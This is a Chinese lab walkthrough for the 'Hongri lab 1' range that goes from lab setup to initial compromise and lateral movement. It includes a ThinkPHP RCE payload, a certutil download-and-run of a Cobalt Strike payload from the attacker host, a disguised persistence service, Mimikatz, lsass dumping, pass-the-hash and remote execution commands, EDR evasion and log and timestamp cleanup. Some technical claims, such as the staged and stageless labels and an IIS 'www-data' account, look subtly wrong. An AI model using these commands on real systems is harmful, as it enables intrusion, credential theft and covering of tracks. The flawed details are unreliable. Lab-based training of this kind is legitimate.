1. 项目概述:一次完整的内网横向渗透实战演练
最近在复盘内网渗透的知识体系,发现很多朋友对理论概念很熟悉,但一到实战就无从下手。这让我想起几年前自己刚接触内网时,面对一个完整的靶场环境,同样感到迷茫:工具怎么用?步骤怎么走?遇到问题怎么排查?为了系统地解决这个问题,我决定以经典的“红日靶场1”为蓝本,写一个从零开始的实战全流程系列。这个系列的目标很明确:不讲空泛的理论,只做能“抄作业”的实操。我会把每一步的操作、背后的思路、踩过的坑都掰开揉碎了讲清楚,让你能跟着做一遍,真正理解内网横向渗透的完整链条。
今天这篇是系列的第一篇,我们聚焦在最基础也是最关键的起点:环境搭建与信息搜集。很多人觉得环境搭建就是点几下鼠标,信息搜集就是跑几个脚本,其实远不止于此。一个稳定、可控的靶场环境是后续所有复杂操作的基础,而细致入微的信息搜集则是决定渗透能否成功的关键。我会带你从零开始,在VMware里部署红日靶场1的三台靶机(Win7、Win2003、Win2008),配置好攻击机(Kali),然后使用Cobalt Strike(后文简称CS)上线Web服务器,并完成第一轮深入的信息搜集。整个过程我会详细到每一个命令、每一个配置参数,并解释为什么要这么做,以及如果出错了该怎么排查。
2. 靶场环境搭建与网络拓扑解析
2.1 靶场镜像获取与虚拟机配置
红日靶场1的镜像在网上很容易找到,通常是一个压缩包,解压后包含三台虚拟机的OVA或VMDK文件:一台Windows 7(通常作为Web服务器,也是我们最初的突破口)、一台Windows Server 2003(内网应用服务器)、一台Windows Server 2008(域控制器)。我的建议是,永远从可信的源获取靶场镜像,下载后务必校验MD5或SHA1值,确保文件完整性,避免镜像本身被植入后门。
拿到镜像后,我们使用VMware Workstation Pro进行导入。这里有几个关键配置点直接影响后续渗透的成败:
网络适配器设置:这是最核心的一步。我们需要构建一个模拟真实内网的环境。通常的配置是:
- Win7(Web服务器):配置两张网卡。
VMnet1(仅主机模式):这张网卡用于连接内网,IP地址由内网的DHCP服务器(通常是域控制器)分配,例如192.168.52.0/24网段。VMnet8(NAT模式):这张网卡用于对外提供Web服务,并允许我们的攻击机(Kali)从外部访问。我们需要将其IP设置为一个固定的、与Kali攻击机同网段的地址,例如192.168.111.0/24网段,并手动设置Win7的这张网卡IP为192.168.111.128。
- Win2003 & Win2008(内网服务器):只配置一张网卡,连接到
VMnet1(仅主机模式),使其完全处于内网环境,无法直接从外部互联网访问。 - Kali攻击机:配置一张网卡,连接到
VMnet8(NAT模式),确保其能与Win7的对外网卡(192.168.111.128)通信。
- Win7(Web服务器):配置两张网卡。
虚拟机内存与性能:三台Windows靶机同时运行对宿主机的内存有一定要求。建议分配:Win7(2GB)、Win2003(1GB)、Win2008(2GB)。如果宿主机内存紧张,可以适当调低,但不要低于1GB,否则系统会非常卡顿,影响实验体验。
快照管理:在每台靶机刚导入、尚未进行任何操作时,立即创建一个纯净快照,命名为“Initial State”。在后续渗透练习中,我们会频繁进行还原操作。养成打快照的习惯,能为你节省大量重复搭建环境的时间。
注意:VMware的虚拟网络编辑器需要提前配置好。确保
VMnet1和VMnet8的子网地址与你的规划一致,并且关闭了DHCP服务(因为我们部分IP需要手动设置)。VMnet1的网段(如192.168.52.0)就是我们的“内网”,VMnet8的网段(如192.168.111.0)则是“外网”或“DMZ区”。
2.2 攻击机(Kali)环境准备与工具检查
我们的攻击机选择Kali Linux,它集成了绝大多数我们需要的工具。但即便是Kali,在开始前也需要做一些准备工作。
首先,更新系统并安装一些可能未预装但非常有用的工具:
sudo apt update && sudo apt upgrade -y sudo apt install -y seclists gobuster powershell-empireseclists:包含大量的字典文件,用于目录爆破、密码爆破等。gobuster:一个高效的目录/子域名爆破工具。powershell-empire:一个后期渗透框架,在某些场景下可以作为CS的补充。
其次,配置静态IP。虽然NAT模式通常由DHCP分配IP,但为了稳定性,我建议给Kali设置一个静态IP,与Win7的对外IP在同一网段。编辑/etc/network/interfaces或使用nmcli命令,将IP设置为如192.168.111.129/24,网关为192.168.111.2(通常是VMnet8的网关地址)。
最后,也是最重要的,准备Cobalt Strike。CS是一个商业化的渗透测试平台,功能强大。你需要拥有合法的授权和客户端。将CS服务端部署在一台VPS上,或者在本机运行都是常见做法。这里假设你在本机运行TeamServer(仅用于学习,确保网络隔离)。
启动TeamServer:
# 在CS目录下 ./teamserver <你的VPS_IP或本机在VMnet8的IP> <连接密码> [/path/to/c2.profile] # 例如,如果你的Kali在VMnet8的IP是192.168.111.129 ./teamserver 192.168.111.129 MySecretPassword123启动后,在另一台机器或本机的图形界面下,启动CS客户端,连接到192.168.111.129:50050,用户名为任意,密码为MySecretPassword123。
实操心得:CS的TeamServer非常敏感,绝对不要暴露在公网且使用弱密码。在本地虚拟机环境练习时,也要养成好习惯。首次连接后,先在CS里创建一个监听器(Listener),这是后续生成木马的基础。例如,创建一个名为
http_80的HTTP监听器,绑定到Kali的192.168.111.129IP,端口80。
3. 初始突破:Web服务探测与Cobalt Strike上线
3.1 目标Web服务发现与漏洞扫描
环境就绪后,我们首先需要找到攻击入口。根据靶场设计,Win7(192.168.111.128)对外提供了Web服务。
第一步,基础存活探测:
ping 192.168.111.128如果不通,检查虚拟机网络配置、防火墙是否关闭(靶场环境通常已关闭)。通了之后,用nmap进行端口扫描:
nmap -sS -sV -O -p- 192.168.111.128-sS:SYN半开扫描,速度快且相对隐蔽。-sV:探测服务版本。-O:探测操作系统。-p-:扫描所有65535个端口。
扫描结果很可能显示80端口开放,运行着某个Web服务器(如IIS、Apache)。我们再用whatweb或浏览器简单访问一下,识别具体的技术栈:
whatweb http://192.168.111.128假设我们发现它是一个基于PHP的网站,可能使用了某个CMS(如WordPress、ThinkPHP等)。红日靶场1常被设计为存在已知漏洞的应用,比如ThinkPHP的RCE漏洞。
第二步,针对性漏洞探测。如果我们通过页面特征或扫描结果怀疑是ThinkPHP,可以使用专门的漏洞验证工具或手工测试。例如,对于ThinkPHP 5.x的RCE,可以尝试访问特定路径:
http://192.168.111.128/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1如果页面返回了phpinfo的信息,说明存在漏洞。这一步的目的不是直接getshell,而是确认漏洞的存在性,为后续生成精准的利用载荷做准备。
3.2 生成并投递Cobalt Strike木马
确认漏洞可利用后,我们需要一个木马(Payload)来获得一个反向Shell。这里就是Cobalt Strike大显身手的地方。相比MSFVenom生成的独立木马,CS的Beacon功能更强大,支持异步通信、多种协议、内网穿透等。
生成Payload:在CS客户端中,点击
Attack->Packages->Windows Executable (S)。这里选择Windows Executable而不是Windows Executable (Stageless)。两者的区别在于:Staged(S):生成一个体积很小的第一阶段加载器(Stager),负责连接CS下载完整的Beacon阶段(Stageless Payload)。更适合通过大小受限的漏洞利用进行投递。Stageless:生成一个包含完整Beacon的独立可执行文件,体积较大,但更稳定。 由于我们通过Web漏洞上传或执行命令,通常有大小和字符限制,所以优先选择Staged方式。在生成时,选择我们之前创建的http_80监听器。
投递与执行:将生成的
.exe文件(例如payload.exe)上传到目标服务器。利用我们发现的RCE漏洞执行命令。例如,通过漏洞执行:http://192.168.111.128/...(漏洞利用点)...&vars[0]=system&vars[1][]=certutil -urlcache -split -f http://192.168.111.129/payload.exe C:\\Windows\\Temp\\payload.exe这条命令利用Windows自带的
certutil工具从我们的攻击机(192.168.111.129)下载payload.exe到目标临时目录。然后再执行一次RCE命令来运行它:...&vars[0]=system&vars[1][]=C:\\Windows\\Temp\\payload.exe会话上线:如果一切顺利,几秒钟后,你会在CS的
Beacons界面看到一个新的会话上线,显示目标机的IP、用户名、权限等信息。右键该会话,选择Interact,就可以打开一个交互式的Beacon控制台。
踩坑记录:这一步最容易出问题的地方是防火墙和杀毒软件。靶场环境通常已关闭,但真实环境复杂得多。如果木马无法执行或上线,首先检查目标进程是否启动(通过RCE执行
tasklist | findstr payload),其次在攻击机用tcpdump或Wireshark抓包,看是否有向监听器IP(192.168.111.129:80)发起的HTTP请求。如果没有,可能是Payload被杀,需要尝试编码、混淆或使用其他加载技术。
4. 立足点加固与初步信息搜集
拿到第一个Beacon会话,只是万里长征第一步。这个会话可能不稳定(例如是IIS的www-data权限),我们需要先巩固这个立足点。
4.1 权限提升与持久化
首先,检查当前权限。在Beacon控制台输入getuid。如果显示的不是NT AUTHORITY\SYSTEM或管理员权限,我们需要提权。可以尝试CS内置的elevate模块,或者上传一些提权检查脚本,如WinPEAS或PowerUp.ps1。
通过Beacon的upload功能上传WinPEAS.bat,然后使用execute或shell命令运行它:
beacon> upload /path/to/winpeas.bat beacon> shell C:\\Windows\\Temp\\winpeas.bat > C:\\Windows\\Temp\\out.txt beacon> download C:\\Windows\\Temp\\out.txt分析输出的out.txt文件,寻找系统配置错误、弱服务权限、未打补丁的漏洞等提权线索。红日靶场1通常设计有简单的提权路径,比如利用AlwaysInstallElevated配置、服务路径空格漏洞等。
提权成功后,考虑持久化。CS提供了多种持久化方式,如注册表启动项、计划任务、服务等。对于Windows靶机,创建一个服务是常见且相对隐蔽的方式:
beacon> powershell New-Service -Name \"WindowsUpdateService\" -BinaryPathName \"C:\\Windows\\Temp\\payload.exe\" -StartupType Automatic beacon> shell sc start WindowsUpdateService这样,即使系统重启,我们的Beacon也会随着这个“Windows更新服务”自动运行。
4.2 主机层面信息搜集
巩固立足点后,开始系统性的信息搜集。信息搜集不是漫无目的地跑命令,而是有层次、有目标地进行。我通常按照以下顺序:
系统信息:
beacon> shell systeminfo beacon> shell hostname beacon> shell whoami /priv beacon> shell net user beacon> shell net localgroup administrators这些命令获取主机名、系统版本、补丁情况、当前用户、特权以及本地用户和组信息。特别关注补丁列表,它能告诉你系统可能缺失哪些漏洞修复。
网络信息:
beacon> shell ipconfig /all beacon> shell route print beacon> shell arp -a beacon> shell netstat -anoipconfig /all能看到所有网卡的详细配置,确认我们之前网络拓扑的猜想,发现内网网卡(192.168.52.0/24)。netstat -ano查看所有网络连接和监听端口,寻找内部其他服务的线索。进程与服务:
beacon> ps beacon> shell tasklist /svc beacon> shell sc queryCS内置的
ps命令已经很好用。查看进程列表,寻找杀毒软件、运维管理软件、数据库客户端等。服务列表也能提供类似信息。文件与目录探查:
beacon> ls C:\\ beacon> shell dir \"C:\\Program Files\" /a beacon> shell dir \"C:\\Users\" /a浏览关键目录,寻找配置文件(如
web.config、config.ini)、数据库文件、备份文件、密码本等。Web根目录(如C:\\inetpub\\wwwroot)是重点。凭证搜集:
beacon> mimikatz !sekurlsa::logonpasswords使用CS集成的Mimikatz功能尝试抓取内存中的明文密码、哈希和票据。这是内网横向移动的“弹药库”。注意:在Windows 10/Server 2012及以上版本,需要先提升到
SYSTEM权限,并且可能需要绕过LSA保护。
4.3 网络拓扑与邻接主机发现
现在我们知道目标Win7有两张网卡,一张在192.168.111.0/24(外),一张在192.168.52.0/24(内)。我们的Beacon会话在外网卡上,但目标是内网。我们需要以这台Win7为跳板,探测内网。
添加路由:在CS中,我们需要告诉Beacon,通往
192.168.52.0/24的流量应该走当前这个会话。右键已上线的Beacon,选择Pivoting->SOCKS Server,启动一个SOCKS代理。更直接的方式是使用socks命令,并在View->Pivots中查看。但CS 4.0+更推荐使用rportfwd或beacon的socks功能结合Proxy Pivots。更自动化的方法是使用
arp扫描后自动添加路由。但作为基础篇,我们先手动理解。实际上,当我们用这个Beacon去访问192.168.52.0/24网段时,CS会自动通过这个会话进行中转。内网主机发现:我们以Win7为支点,执行内网扫描。在Beacon中:
beacon> powershell.exe -exec bypass -c \"1..254 | % {\\\"192.168.52.$_\\\"} | Test-Connection -Count 1 -ErrorAction SilentlyContinue | where { $_.StatusCode -eq 0 } | Select-Object Address\"这条PowerShell命令对
192.168.52.1到192.168.52.254进行了一次快速的ICMP ping扫描,并输出存活的主机。你也可以使用CS内置的net view或上传nmap的Windows版进行更全面扫描。扫描结果很可能发现另外两台靶机:
192.168.52.143(Win2003)和192.168.52.138(Win2008域控)。端口扫描与服务识别:发现存活主机后,下一步是扫描开放端口。我们可以通过Beacon,将命令发送到Win7上执行,但数据会通过Beacon通道返回,速度较慢。这里可以上传一个轻量级的扫描工具,如
portqry.exe或者用PowerShell脚本。beacon> upload /path/to/nmap-7.94-setup.exe beacon> shell C:\\Windows\\Temp\\nmap-7.94-setup.exe /S beacon> shell \"C:\\Program Files (x86)\\Nmap\\nmap.exe\" -sS -p 1-1000 192.168.52.143假设对
192.168.52.143(Win2003)的扫描显示开放了80端口(Web)、445端口(SMB)、3389端口(RDP)等。
至此,我们已经完成了环境搭建、初始突破、立足点巩固和初步的内网信息搜集。我们获得了一个稳定的、具有足够权限的CS Beacon会话在边界服务器(Win7)上,并且摸清了内网的基本结构:存在两台关键服务器,一台是Win2003(192.168.52.143),一台是Win2008域控(192.168.52.138)。信息搜集的结果已经为我们绘制出了一张清晰的“攻击地图”。
5. 深入信息搜集与攻击面分析
初步扫描给了我们一个目标列表,但真正的信息搜集远不止于发现IP和端口。我们需要深入分析每个潜在目标的攻击面,为下一步的横向移动做准备。这就像侦察兵不仅要找到敌人的营地,还要摸清他们的兵力部署、防御工事和换岗时间。
5.1 针对特定主机的精细化扫描
以192.168.52.143(Win2003)为例。我们知道它开了80和445端口。我们需要更详细的信息:
Web服务指纹识别:通过Beacon代理,我们可以使用攻击机上的工具去访问内网的Web服务。首先在CS中设置好代理(如SOCKS4a),然后在攻击机的浏览器或命令行工具中配置代理为
127.0.0.1:端口。使用curl或nikto进行扫描:# 在Kali上,通过ProxyChains调用curl proxychains curl -v http://192.168.52.143 proxychains nikto -h http://192.168.52.143或者,更直接地在Beacon中用
shell调用Win7上的certutil或powershell来获取页面内容:beacon> shell curl http://192.168.52.143 -o C:\\Windows\\Temp\\page.html beacon> download C:\\Windows\\Temp\\page.html分析下载的页面,看是默认页面、特定应用(如phpMyAdmin、Tomcat管理后台)还是自定义网站。
SMB服务枚举:445端口是Windows文件共享和命名管道的入口,是内网横向的黄金通道。我们可以枚举共享资源、用户、组等信息。
beacon> shell net view \\\\192.168.52.143 beacon> shell net use \\\\192.168.52.143\\IPC$ /user:\"\" \"\"尝试空连接或弱口令连接。还可以使用CS内置的
smb模块或上传enum4linux的Windows兼容脚本进行深度枚举:beacon> upload /path/to/enum4linux.pl # 需要Perl环境,或使用编译好的exe版 beacon> shell perl C:\\Windows\\Temp\\enum4linux.pl -a 192.168.52.143枚举信息包括:操作系统信息、共享列表、用户列表、组列表、密码策略等。
RDP服务探测:3389端口开放意味着可能通过远程桌面连接。我们可以检查网络级别身份验证(NLA)是否启用,以及尝试爆破。但爆破风险大、速度慢。更好的方法是先收集可能的用户名(从当前主机、共享枚举中获得),再结合后续获取的密码哈希进行“哈希传递”或“票据传递”攻击。
5.2 域环境信息搜集(针对Win2008域控)
发现192.168.52.138是域控制器后,信息搜集的重点就要转向整个Active Directory域。我们需要了解这个域的“地图”。
基础域信息:
beacon> shell net group \"domain computers\" /domain beacon> shell net group \"domain admins\" /domain beacon> shell net group \"domain users\" /domain beacon> shell net localgroup \"administrators\" /domain这些命令列出域中的计算机、域管理员、域用户以及域中哪些用户是本地管理员。域管理员(Domain Admins)是我们的终极目标。
用户与SPN枚举:服务主体名称(SPN)是Kerberos身份验证中用于标识服务实例的唯一名称。枚举SPN可以帮助我们发现哪些账户运行了哪些服务(如MSSQL、HTTP等),是Kerberoasting攻击的前提。
beacon> powershell Get-NetUser -SPN | select samaccountname, serviceprincipalname需要提前在目标机器上导入PowerShell AD模块(如PowerView)或使用CS的
powerview脚本。我们可以先上传PowerView.ps1到Win7,然后通过Beacon加载执行。组策略与信任关系:
beacon> shell gpresult /z > C:\\Windows\\Temp\\gp.txt beacon> download C:\\Windows\\Temp\\gp.txtgpresult可以获取应用到当前计算机和用户的组策略设置,里面可能包含密码策略、软件部署、脚本路径等有用信息。此外,还可以查询域之间的信任关系。BloodHound数据收集:BloodHound是域渗透的神器,它能通过图数据库直观展示域内用户、组、计算机之间的复杂关系,并找出攻击路径。我们需要在跳板机(Win7)上运行数据收集器
SharpHound.exe。beacon> upload /path/to/SharpHound.exe beacon> shell C:\\Windows\\Temp\\SharpHound.exe -c all --zipfilename loot.zip beacon> download loot.zip将生成的
loot.zip下载到攻击机,然后导入到我们攻击机上的BloodHound界面中,它会自动分析出从当前用户到域管理员的最短路径,可能包括“强制身份验证”、“基于资源的约束委派”、“ACL滥用”等多种攻击方式。
5.3 凭证与敏感信息深度挖掘
信息搜集的另一条主线是“找钥匙”,即各种凭证和敏感信息。
浏览器凭证:用户习惯在浏览器中保存各种密码。我们可以使用
LaZagne或Mimikatz的dpapi模块来尝试解密。beacon> upload /path/to/LaZagne.exe beacon> shell C:\\Windows\\Temp\\LaZagne.exe browsers配置文件与文档:手动或脚本化搜索特定关键词。
beacon> shell findstr /s /i /m \"password\" *.config *.xml *.ini *.txt C:\\Users 2>nul beacon> shell findstr /s /i /m \"sqlconnection\" *.config *.xml *.aspx C:\\inetpub 2>nul这些命令在用户目录和Web目录下搜索包含“password”或“sqlconnection”字符串的文件,可能会发现数据库连接字符串、API密钥等。
注册表键值:很多软件会把配置信息存在注册表里。
beacon> shell reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword beacon> shell reg query \"HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\" /s例如,检查自动登录密码,或者查询PuTTY保存的会话信息(可能包含明文主机和用户名)。
内存转储与分析:如果条件允许,可以对关键进程(如lsass.exe)进行内存转储,然后在本地用Mimikatz或Pypykatz进行分析,这有时能抓到GUI登录后残留的明文密码。
beacon> procdump -ma lsass.exe C:\\Windows\\Temp\\lsass.dmp beacon> download C:\\Windows\\Temp\\lsass.dmp # 在攻击机本地使用 mimikatz 分析 # mimikatz # sekurlsa::minidump lsass.dmp # mimikatz # sekurlsa::logonpasswords
通过这一轮深入的信息搜集,我们不再仅仅知道有哪些机器,而是知道了每台机器上运行着什么服务(攻击面),域的结构如何,哪些是高价值目标(域管理员),以及我们可能已经掌握了哪些“钥匙”(凭证、哈希、票据)。这些信息被系统地整理出来,就构成了我们下一步横向移动的“作战计划”。例如,BloodHound可能告诉我们,当前我们控制的Win7上的某个服务账户对域内某台SQL服务器有“写入权限”,而这台SQL服务器又以高权限运行,那么我们就可以通过配置恶意DLL来进行提权。或者,Mimikatz抓取到的哈希正好是某个内网服务器的本地管理员密码,我们就可以直接进行“哈希传递”攻击。
6. 横向移动的初步尝试与思路规划
在掌握了详尽的信息之后,我们就可以开始规划并尝试横向移动了。横向移动的手段繁多,选择哪种取决于我们搜集到的“弹药”和目标的“防御”。
6.1 利用明文密码或哈希进行横向移动
这是最直接的方式。如果我们从Win7上抓取到了明文密码,或者从内存中提取到了NTLM哈希,并且知道内网其他主机的某个本地用户或域用户使用了相同的密码(密码复用很常见),我们就可以尝试。
使用Cobalt Strike的
psexec或psexec_psh:CS内置了这些模块,可以直接使用捕获的哈希进行认证。beacon> jump psexec64 192.168.52.143 administrator HASHES你需要将
HASHES替换为抓取到的管理员用户的NTLM哈希(格式如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)。如果成功,就会在目标192.168.52.143上生成一个新的Beacon会话。使用Mimikatz的
Pass-The-Hash:直接在当前Beacon中调用Mimikatz进行哈希传递。beacon> mimikatz sekurlsa::pth /user:Administrator /domain:192.168.52.143 /ntlm:HASH_NTLM成功后会弹出一个新的具有目标机器上下文的管理员命令行窗口,你可以在这个窗口里执行命令,或者再用这个上下文去运行一个CS的Stager上线。
使用
wmiexec或smbexec:这些是 Impacket 工具套件里的经典工具,非常适合在已控机器上作为跳板使用。我们可以将对应的Python脚本上传到Win7,或者通过CS的execute功能调用攻击机上的Impacket。beacon> execute c:\\python27\\python.exe wmiexec.py -hashes :HASH_NTLM administrator@192.168.52.143这需要目标机器上开放135和445端口,并且WinRM服务可能也需要配置。
6.2 利用漏洞进行横向移动
如果密码复用这条路走不通,或者我们没有抓到合适的哈希,那么就需要寻找目标主机上存在的漏洞。
MS17-010(永恒之蓝):对于未打补丁的Windows 7/2008/2008R2等系统,这是一个经典的远程代码执行漏洞。我们可以使用MSF的
exploit/windows/smb/ms17_010_eternalblue模块,或者CS的eternalblue插件。首先需要确认目标是否漏洞。- 在CS中,使用
portscan或上传nmap脚本扫描:beacon> shell nmap --script smb-vuln-ms17-010 192.168.52.143 - 如果存在漏洞,可以直接在CS的
Attack->Packages中选择对应的漏洞利用包,或者通过jump命令调用。
- 在CS中,使用
其他SMB/RDP漏洞:如CVE-2019-0708(BlueKeep),影响Windows 7/2008。同样需要先检测,后利用。红日靶场环境为了教学,通常会保留一些经典漏洞。
Web应用漏洞:如果内网主机开放了Web服务(如
192.168.52.143:80是一个Tomcat管理后台),我们可以尝试弱口令爆破(admin/admin)、已知漏洞(如Tomcat WAR后门上传)等。通过代理,我们可以像攻击外网Web一样攻击它。
6.3 利用服务与配置缺陷
很多时候,漏洞不在于代码,而在于配置。
不安全的文件共享:如果
net view发现了可写共享,我们可以直接上传木马并计划任务执行。beacon> copy C:\\Windows\\Temp\\payload.exe \\\\192.168.52.143\\C$\\Windows\\Temp\\payload.exe beacon> shell sc \\\\192.168.52.143 create UpdateService binPath= \"C:\\Windows\\Temp\\payload.exe\" beacon> shell sc \\\\192.168.52.143 start UpdateService计划任务:如果拥有远程主机的管理员权限,可以通过
schtasks创建计划任务来执行Payload。beacon> shell schtasks /create /s 192.168.52.143 /tn \"MyTask\" /tr \"C:\\Windows\\Temp\\payload.exe\" /sc once /st 00:00 /ru SYSTEM beacon> shell schtasks /run /s 192.168.52.143 /tn \"MyTask\"WMI执行:Windows Management Instrumentation 是强大的管理工具,也可以用于远程执行命令。
beacon> shell wmic /node:192.168.52.143 process call create \"C:\\Windows\\Temp\\payload.exe\"
6.4 横向移动中的隐蔽与对抗
在真实的渗透测试或演练中,蓝队(防御方)会有各种监控。我们的横向移动需要尽可能隐蔽。
流量伪装:使用CS的
Malleable C2 Profile可以定义Beacon的通信流量,使其模仿成正常的HTTPS流量、Google流量等,绕过基于特征的IDS/IPS检测。避免敏感操作:尽量减少直接使用
psexec、wmic等会被EDR(终端检测与响应)软件标记为高危行为的操作。可以尝试使用“无文件”或“生活化”的方式,比如通过注册表、服务DLL劫持、COM劫持等技术进行持久化和执行。时间控制:在CS中设置Beacon的睡眠时间(
sleep)和抖动(jitter),让通信行为看起来不那么规律。避免在业务高峰时段进行大规模扫描或爆破。清理痕迹:横向移动成功后,及时清理上传的工具、创建的临时文件、计划任务、服务等。在CS中,可以使用
timestomp修改文件时间戳,使用shell del删除文件,使用sc delete删除服务。
规划横向移动路径时,BloodHound的分析结果至关重要。它会给出诸如“从当前用户到域管理员的最短路径是:UserA -> 对ComputerB有本地管理员权限 -> ComputerB上存在可滥用的服务账户 -> 该服务账户是Domain Admins组的成员”这样的可视化路径。我们只需要按照这个路径,一步步“打点”即可。
例如,BloodHound告诉我们,我们当前控制的WIN7$计算机账户对SRV2003有WriteOwner权限(可以修改某个对象的所有者)。而这个对象可能是一个组,修改所有者后我们可以将自己添加到该组,该组对某台服务器有GenericAll权限,最终通过约束委派拿到域管理员权限。这个过程涉及多个步骤,每一步都需要特定的命令和操作,但思路是清晰的。
在红日靶场1的后续篇章中,我们将具体实践这些横向移动方法,从Win7跳转到Win2003,再从Win2003跳转到Win2008域控,最终获取域控制器的最高权限。每一步我都会结合具体的命令、可能遇到的问题以及如何排查来详细讲解,把整个内网横向渗透的链条完整地串联起来。